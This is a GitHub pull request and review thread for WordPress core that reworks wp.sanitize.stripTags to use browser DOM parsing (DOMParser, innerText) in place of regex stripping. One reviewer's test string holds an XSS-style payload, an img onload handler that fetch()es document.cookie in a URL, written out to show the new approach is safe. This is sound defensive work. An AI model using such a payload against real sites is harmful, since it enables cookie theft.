Skip to content

wp.sanitize.stripTags could rely on the browser for HTML parsing - [Core - 64274] #10536

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 6 commits into
base: trunk
Choose a base branch
from
Open

wp.sanitize.stripTags could rely on the browser for HTML parsing - [Core - 64274] #10536

Changes from 1 commit
Commits
Show all changes
6 commits
Select commit Hold shift + click to select a range
826369c
Use HTML parsing for sanitization instead of regex
hbhalodia Nov 21, 2025
0612d03
Update the stripTags to use DOMParser
hbhalodia Nov 26, 2025
84c2bd9
Add proper comments for the change
hbhalodia Nov 26, 2025
3142ead
Merge branch 'trunk' into fix/issue-64274
hbhalodia Nov 26, 2025
32c72ce
Address feedbacks
hbhalodia Nov 26, 2025
36c9856
Addressed feedbacks
hbhalodia Nov 27, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 3 additions & 11 deletions src/js/_enqueues/wp/sanitize.js
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -25,17 +25,9 @@
stripTags: function( text ) {
let _text = text || '';

// Do the search-replace until there is nothing to be replaced.
do {
// Keep pre-replace text for comparison.
text = _text;

// Do the replacement.
_text = text
.replace( /<!--[\s\S]*?(-->|$)/g, '' )
.replace( /<(script|style)[^>]*>[\s\S]*?(<\/\1>|$)/ig, '' )
.replace( /<\/?[a-z][\s\S]*?(>|$)/ig, '' );
} while ( _text !== text );
const htmlElement = document.createElement( 'div' );
htmlElement.innerHTML = _text;
_text = htmlElement.textContent || htmlElement.innerText || '';
Copy link
Member

@dmsnell dmsnell Nov 21, 2025 •
edited
Loading

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@hbhalodia would you like to share about why you chose the logic of the fallback chain here?

I can think of a few cases where textContent may not be desirable without further processing.

Also, can the value ever not be a string? In which cases did you find the || '' necessary?

Copy link
Member

@westonruter westonruter Nov 23, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I can think of a few cases where textContent may not be desirable without further processing.

Right. What would happen if someone put a SCRIPT tag inside of a STYLE tag?

https://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0A%3Cstyle%3E%3Cscript%3Eevil%3C%2Fscript%3E%3C%2Fstyle%3E

Copy link
Author

@hbhalodia hbhalodia Nov 25, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

would you like to share about why you chose the logic of the fallback chain here?

Hi @dmsnell, I have used this because, sometimes the older browser may not have a textContent -- https://caniuse.com/?search=textContent, IE6-8 does not support it (I know they are not used anymore, but less probability that it may be used somewhere), though I can remove this, since we are also having some cleanup in codebase related to older browsers. Used just for defensive coding.

I can think of a few cases where textContent may not be desirable without further processing.

Then ultimately, we need to first identify what we need to achive here? Basic DOM parsing may not be something that should be the only thing. Also, if we need to further process it, why don't we use same logic we are currently using?

Also, if we need to use DOM Parsing, then ultimately we need to loop through again to identify all nodes and remove it or extract the text from all nodes.

Copy link
Member

@westonruter westonruter Nov 25, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

WordPress does not support IE anymore, so you can be free from adding this compatibility. See https://make.wordpress.org/core/handbook/best-practices/browser-support/

Copy link
Member

@dmsnell dmsnell Nov 25, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I will confirm what @westonruter shared. defensive coding is appreciated, but we draw our line with the supported browsers, so attempting to support IE in this case goes beyond that towards introducing unexpected and unwanted behaviors.

Let’s standardize on .innerText, which I believe should attempt to faithfully represent the rendered content on the page. Please double-check, however, as I think in some cases it preserves spacing in ways we might not expect (e.g. PRE elements and elements with whitespace-preserving CSS).

The spacing issue isn’t defined and I don’t know if we need to handle it. It would just be nice if we could confirm the behavior and document it, as it will likely be surprising one way or the other.

Copy link
Member

@dmsnell dmsnell Nov 26, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

images in the parsed HTML will get loaded and inline event handlers get executed

🤯

but if we use DOMParser.parseFromString() then none of this happens? if so, I think we should be good to use .innerText and use that trick I mentioned, returning .innerHTML afterwards.

@hbhalodia let’s get .textContent out of the conversation. I do frequently confuse it with .innerText, but once we clear that up (we did) then we don’t need to deliberate any more — we don’t want non-renderable text to come through, such as SCRIPT element contents.

@westonruter if we go the route of removing things and using textContent we’re back in the zone of over-eagerly defining the conversion and (I think) losing the styling information, meaning we get all text instead of just rendered text.

this is complicated, as always.

Copy link
Member

@westonruter westonruter Nov 26, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes, this does the trick:

const unsafeText = `Hello: <style style="display:block"><script>document.write('evil');</script></style><img src="https://s.w.org/style/images/about/WordPress-logotype-wmark.png" onload="fetch('https://wordpress.org/wp-json/?cookie=' + encodeURIComponent(document.cookie))">`;

/**
 * Safely strips HTML tags from a string using DOMParser.
 *
 * @param {string} htmlString - The HTML string to strip.
 * @returns {string} The text content with tags removed.
 */
function stripTags( htmlString ) {
    const parser = new DOMParser();
    const doc = parser.parseFromString( htmlString, 'text/html' );
    doc.body.innerText = doc.body.innerText;
    return doc.body.innerHTML;
}
console.log( stripTags( unsafeText ) );

Output:

Hello: &lt;script&gt;document.write('evil');&lt;/script&gt;

No image resource appears in the network log.

Copy link
Member

@dmsnell dmsnell Nov 26, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

now it’d be remiss if we didn’t return to where this started: @westonruter I believe you made a change to reduce memory usage, but this probably increases it, right? do we consider the additional reliability worth it? does that memory use matter in practice?

examining your change, that mostly turned recursion into iteration, so the memory impact was likely avoiding a stack overflow?

this is probably magnitudes faster given that it runs in the optimized C++ code.

Copy link
Member

@westonruter westonruter Nov 26, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The original fix was to avoid theoretical memory and stack exhaustion in Core-48054. The performance impact of this was never demonstrated to be an actual problem experienced by users. So this alternate implementation seems fine. Better for something to be correct than to be slightly more efficient.

Copy link
Author

@hbhalodia hbhalodia Nov 26, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for clarification and disucssion over multiple approaches. I am now updating the PR with the latest approach we discussed. Let me know once I update if there is something needs to be updated more on it.

Thank You,


// Return the text with stripped tags.
return _text;
Expand Down
Loading